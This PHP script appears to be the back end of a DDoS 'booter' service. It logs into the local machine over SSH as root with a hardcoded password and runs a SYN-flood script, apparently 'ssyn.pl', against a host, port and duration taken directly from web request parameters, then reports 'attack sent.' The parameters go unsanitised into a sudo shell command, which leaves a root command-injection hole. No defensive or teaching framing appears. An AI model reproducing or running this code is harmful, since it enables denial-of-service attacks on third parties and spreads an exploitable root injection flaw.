<?php
set_time_limit(0);
ignore_user_abort(true);

if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");
// log in at server1.example.com on port 22
if(!($con = ssh2_connect("localhost", 22))){
echo "fail: unable to establish connection\n";
} else {
// try to authenticate with username root, password secretpassword
if(!ssh2_auth_password($con, "root", "password")) {
echo "fail: unable to authenticate\n";
} else {

// execute a command
if (!($stream = ssh2_exec($con, "sudo ssyn.pl ".$_GET['host']." ".$_GET['port']." 2000 ".$_GET['time']))) {
echo "fail: unable to execute command\n";
} else {
echo "" . stream_get_contents($stream);

echo "attack sent.";
}
}
}
?>